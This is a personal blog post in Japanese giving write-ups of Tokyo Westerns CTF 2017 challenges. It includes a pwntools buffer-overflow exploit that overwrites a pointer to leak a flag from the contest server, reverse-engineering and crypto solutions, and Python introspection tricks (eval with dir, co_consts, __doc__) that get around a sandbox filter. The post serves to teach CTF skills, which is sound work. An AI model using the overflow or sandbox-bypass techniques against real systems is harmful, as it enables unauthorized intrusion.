fr33f0r4ll

自分用雑記

Tokyo Westerns CTF3rd 2017 Writeup

Tokyo Westerns CTF3rd 2017 writeup

ほぼWarmupだけ(Webは解けてない)。 200ptで142位でした。

Just do it

Pwn

プログラムの動作はパスワードの入力を求め、あってるかどうかを判定するものである。 とりあえず、stringsで探したら見つかったパスワードを入力してみたが、単にCorrect!と表示されただけだった。 どう考えてもflagじゃない。

アセンブルしてコードを見ながらgdbで解析してみるとflag.txtを開いてその内容をグローバル変数にに入れていることが分かった。これを表示させる必要がある。

0x08048618      68d3870408     push str.flag.txt           ; 0x80487d3 ; "flag.txt"
0x0804861d      e87efeffff     call sym.imp.fopen          ; file*fopen(const char *filename,
0x08048622      83c410         add esp, 0x10
0x08048625      8945f0         mov dword [local_10h], eax
...
0x08048648      83ec04         sub esp, 4
0x0804864b      ff75f0         push dword [local_10h]
0x0804864e      6a30           push 0x30                   ; '0' ; '0'
0x08048650      6880a00408     push obj.flag               ; 0x804a080
0x08048655      e8e6fdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)

しばらく適当にパスワードを入力すると、fgetsで文字数制限しているのにプログラムが落ちることが分かった。 gdb-pedaで落ちたときの状況を調べてみると、最後の不正解のメッセージを表示するところで不正なアドレスが指定されているらしかった。 入力した文字と照し合わせると、20文字目からの値がアドレスに格納されることが分かった。 checksecするとPIEはなかったので多分アドレスは固定のはず(かな?)。 なので、20文字入力したあと、flagが格納された変数のアドレスを入力すればflagが表示されるはず。 コードはこれ。

from pwn import *
import time

host = 'pwn1.chal.ctf.westerns.tokyo'
port = '12345'
adrs = 0x804a080
i = 20
shellcode = 'A' * i + p32(adrs) + '\x00'

# p = process("./just_do_it")
p = remote(host, port)
log.info(p.recvuntil('\n'))
log.info(p.recvuntil('\n'))
log.info(i)
p.sendline(shellcode)
time.sleep(1)
print(p.recvuntil('\n'))

成功。 でもかなり時間をかけてしまった、pwnに慣れたい。

Rev Rev Rev

Rev

かなり分からなかった。 strippedなので関数名とか全然分からない。 とりあえず逆アセンブルしてみたところ、4つの関数で入力を加工したあと、プログラム内の値と比較して一致すればいいらしい。 最初の関数(0x080486b9)は読み込んだ改行文字をヌル文字に置き換えている。

2つ目の関数(0x080486db)は入力された文字列を逆順にしている。

3つ目の関数(0x08048738)はビット演算とシフトを繰り返して文字を変換している。 Cのコードにするとこんな感じの処理をしている。逆算する方法が分からなかった。

void fcn38(char* arg_8h){
  char* local_4h = arg_8h;
  char local_5h;

  while(*local_4h != '\0'){
    local_5h = *local_4h;
    local_5h = (((unsigned int) local_5h & 0x55) * 2) | ((local_5h >> 1) & 0x55);
    local_5h = (((unsigned int) local_5h & 0x33) << 2) | ((local_5h >> 2) & 0x33);
    local_5h = ((unsigned int) local_5h << 4) | (local_5h >> 4);
    local_4h[0] = local_5h;
    
    local_4h++;
  }
}

4つ目の関数(0x080487b2)文字毎にnotを取っているだけだった。

gdbで一致させるデータ列を確認した。16進数値でこんな感じ。

l = ["0x41",
     "0x29",
     "0xd9",
     "0x65",
     "0xa1",
     "0xf1",
     "0xe1",
     "0xc9",
     "0x19",
     "0x9",
     "0x93",
     "0x13",
     "0xa1",
     "0x9",
     "0xb9",
     "0x49",
     "0xb9",
     "0x89",
     "0xdd",
     "0x61",
     "0x31",
     "0x69",
     "0xa1",
     "0xf1",
     "0x71",
     "0x21",
     "0x9d",
     "0xd5",
     "0x3d",
     "0x15",
     "0xd5"]

静的に解く方法が思い付かなかったので力技でやる。 gdbを使ってひたすら入力を変換させて、どの文字がどの値になるのかひたすら調べた。 一度に複数文字入力してもいいのでそこまで手間じゃなかった。 解くのに十分なだけのデータが揃ったところで入力を生成させて、送信、そして成功。

変換テーブルを含んだコードはこんな感じ。

table = {}
table['-'] = hex(0x4b)
table['.'] = hex(0x8b)
table['/'] = hex(0x0b)
table['0'] = hex(0xf3)
table['1'] = hex(0x73)
table['2'] = hex(0xb3)
table['3'] = hex(0x33)
table['4'] = hex(0xd3)
table['5'] = hex(0x53)
table['6'] = hex(0x93)
table['7'] = hex(0x13)
table['8'] = hex(0xe3)
table['9'] = hex(0x63)
table[':'] = hex(0xa3)
table[';'] = hex(0x23)
table['<'] = hex(0xc3)
table['='] = hex(0x43)
table['>'] = hex(0x83)
table['?'] = hex(0x03)
table['@'] = hex(0xfd)
table['A'] = hex(0x7d)
table['B'] = hex(0xbd)
table['C'] = hex(0x3d)
table['D'] = hex(0xdd)
table['E'] = hex(0x5d)
table['F'] = hex(0x9d)
table['G'] = hex(0x1d)
table['H'] = hex(0xed)
table['I'] = hex(0x6d)
table['J'] = hex(0xad)
table['K'] = hex(0x2d)
table['L'] = hex(0xcd)
table['M'] = hex(0x4d)
table['N'] = hex(0x8d)
table['O'] = hex(0x0d)
table['P'] = hex(0xf5)
table['Q'] = hex(0x75)
table['R'] = hex(0xb5)
table['S'] = hex(0xd5)
table['T'] = hex(0x55)
table['U'] = hex(0x95)
table['V'] = hex(0x65)
table['W'] = hex(0x15)
table['X'] = hex(0xe6)
table['Y'] = hex(0x65)
table['Z'] = hex(0xa5)
table['['] = hex(0x25)
table['\\'] = hex(0xc5)
table[']'] = hex(0x45)
table['^'] = hex(0x85)
table['_'] = hex(0x05)
table['`'] = hex(0xf5)
table['a'] = hex(0x79)
table['b'] = hex(0xb9)
table['c'] = hex(0x39)
table['d'] = hex(0xd9)
table['e'] = hex(0x59)
table['f'] = hex(0x99)
table['g'] = hex(0x19)
table['h'] = hex(0xe9)
table['i'] = hex(0x69)
table['j'] = hex(0xa9)
table['k'] = hex(0x29)
table['l'] = hex(0xc9)
table['m'] = hex(0x49)
table['n'] = hex(0x89)
table['o'] = hex(0x09)
table['p'] = hex(0xf1)
table['q'] = hex(0x71)
table['r'] = hex(0xb1)
table['s'] = hex(0x31)
table['t'] = hex(0xd1)
table['u'] = hex(0x51)
table['v'] = hex(0x91)
table['w'] = hex(0x11)
table['x'] = hex(0xe1)
table['y'] = hex(0x61)
table['z'] = hex(0xa1)
table['{'] = hex(0x21)
table['|'] = hex(0xc1)
table['}'] = hex(0x41)
table['~'] = hex(0x81)

l = ["0x41",
     "0x29",
     "0xd9",
     "0x65",
     "0xa1",
     "0xf1",
     "0xe1",
     "0xc9",
     "0x19",
     "0x9",
     "0x93",
     "0x13",
     "0xa1",
     "0x9",
     "0xb9",
     "0x49",
     "0xb9",
     "0x89",
     "0xdd",
     "0x61",
     "0x31",
     "0x69",
     "0xa1",
     "0xf1",
     "0x71",
     "0x21",
     "0x9d",
     "0xd5",
     "0x3d",
     "0x15",
     "0xd5"]

rev_table = {}
for k, e in table.items():
    rev_table[e] = k

a = list(map(lambda x: rev_table[x], l))

ans = ""
for c in a:   
    ans += c

print(ans)

変換テーブルがでかい。

Palindromes Pairs - Coding Phase -

PPC

pythonでやった。 問題文の解釈で時間食ってしまった。 実装は単純に先頭と末尾から比較していくだけ。 これがベストな方法なのかな? コードはこんな感じ。

from pwn import *


def copy(lst):
    lst2 = []
    for i in lst:
        lst2.append(i)

    return lst2


def is_palindrome(s):
    head = 0
    tail = len(s) - 1
    while(head < tail):
        if(s[head] != s[tail]):
            return False
        head += 1
        tail -= 1

    # print(s)
    return True


def get_palindromes_set(lst):
    palin_set = set()
    for e in lst:
        if is_palindrome(e):
            palin_set.add(e)
    return palin_set


def get_palindromes_num(lst):
    count = 0
    length = len(lst)

    for i in range(0, length):
        elm = lst[i]
        rest = lst[i+1:length]

        if len(rest) != 0:
            head_list = [is_palindrome(elm + e) for e in rest]
            last_list = [is_palindrome(e + elm) for e in rest]
            count += head_list.count(True) + last_list.count(True)

        if is_palindrome(elm + elm):
            count += 1

    return count

host = 'ppc1.chal.ctf.westerns.tokyo'
port = '8765'
p = remote(host, port)

log.info(p.recvuntil('----- START -----\n'))
for _ in range(50):
    log.info(p.recvuntil('\n'))
    log.info("num:" + p.recvuntil('\n'))
    words = p.recvuntil('\n')
    log.info(words)

    words = words.strip().split(" ")
    ans = get_palindromes_num(words)
    log.info(str(ans))
    p.sendline(str(ans))
    log.info(p.recvuntil('\n'))
    p.recvuntil('\n')

p.interactive()

lisp使いたくなった、python2だとオブジェクトを変更するからやりにくく感じる。 そもそもコードがpythonっぽくない、修行足りてない。 まあ一応解けたので良しとしよう。

My Simple Cipher

Crypto

7zの解凍方法を忘れ無駄に悩む。 cipher.pyの暗号化方法自体は単純にキーと前回の値を使って値を加算しmodを取るだけの単純なもの。 逆算自体は無理なのかな?IPUSIRONさんの本で勉強しないと。

注目するべきなのは平文と暗号文で文字の位置は同じであること、"|“があること、keyが13文字で固定なことである。

この"|“が固定であるおかげで、この位置で使われた鍵の文字は特定することができる。 暗号化に用いられたmessage[i], key[i % 13], encrypted[i]のうちmessage[i]とencrypetd[i]が判明しているので、以下のようになるはずである、多分。

(encrypted[i+1] - encrypted[i] - message[i]) % 128 = key[i % 13]

この位置だと、最初が0として22文字目が該当する。 最初の一文字はランダム与えられた初期化ベクトルのような値なので無視すると、21文字目である。 13でmodを取ると8、従って鍵の8文字目が分かる。

次に鍵の8文字目で暗号化されている部分に着目する、この部分は復号化可能である。 ここで、暗号文の最後に鍵が含まれていることを利用する。 鍵の8文字目で暗号化されている部分を復号すると鍵の別の場所の文字が分かる。 これを繰り返して鍵全体を復号化し、それを用いてencryptedを復号化する。 あとは単純作業になる。

自動化できるけど13文字ならインタープリターでやった方が速いかと思って手元でメモを取りながらやった。 あとで自動化する。

全体の復号化をする関数だけコード書いた。

def decrypt(key, cipher):
    dec = ""
    tmp = []
    rev_c = list(cipher)
    rev_c.reverse()

    for i in range(len(rev_c) - 1):
        tmp.append(ord(rev_c[i]) - ord(rev_c[i+1]))

    tmp.reverse()

    for i in range(len(tmp)):
        dec += chr((tmp[i] - ord(key[i % 13])) % 128)

    return dec

pplc

PPC

唯一warmup以外で解けた問題。 3つフラグがあって、python特有のメタプログラミングネタの問題。

private

ひとつめの問題。

プライベートなメソッドについての問題。 pythonにはアクセス修飾子がないが、接頭語と接尾語にアンダースコア(であってたかな、_のこと)を使うことでコーディング規約として扱いを変えたりする。 接頭語として__があって、接尾語がないメソッドは名前が_ClassName__methodnameとなる。 つまり、p._Private__flag()を送信すればいいはずなのだが、assert文でPrivateが含まれる文字列は弾かれてしまう。

ここでpythonの関数オブジェクトに対して()を付けると呼び出せるという性質を利用する。 つまり、こんな感じのことができる。

def func():
    return 1
    
f = func # ここで関数オブジェクトがfに格納される
f() # 1が返される

そして、文字列をpythonコードとして実行し結果を返すeval関数と、クラスやオブジェクトなどメンバを文字列として取得するdir関数を組み合わせて、_Private__flagの関数オブジェクトを取得する。 これを()で呼び出せばフラグを表示できるはず。

手元の環境でdir(p)してみると、最初の要素に_Private__flagがあったので、とりあえず最初の要素であると仮定してやってみた。 最終的な文字列はこんな感じ。

eval("p."+dir(p)[0])()

成功した。

local

ふたつめの問題。

今度は関数内で定義されるローカル変数を参照できるかという問題。 get_flagなのにflag返さねえじゃねえかとは思った。

ここで、関数オブジェクトの構造を観察してみる。 実はさっきの問題を解くまでよく知らなかった。 dir関数を使ってメンバを見てみるとfunc_codeといういかにもコードがありそうなメンバがあった。 どうやらpythonのコードの情報を持っているようで、バイトコンパイルされたコードなどが含まれている。

どうやってpythonが作られているのかが読み取れる気がしてくる。

このcodeオブジェクトに対してもdirでメンバを読み取ると、co_constsという定数値がありそうな名前がある。 表示してみるとビンゴだった。

これで成功。 送信した文字列はこんな感じ。

get_flag.func_code.co_consts

comment

みっつめの問題

これは知っていた、パッケージを作ったときに丁度その話を見た。 パッケージの一番先頭にある文字列は__doc__に格納され、help関数で表示できるようになる。 関数などでも、定義の一番最初に置いた文字列がこのように取得できる。

helpだと対話的環境でしか表示されないので、__doc__を表示することにする。

成功、送信文字列はこんな感じ。

comment_flag.__doc__

おわり

pythonがなければwarmupだけで終わっていた。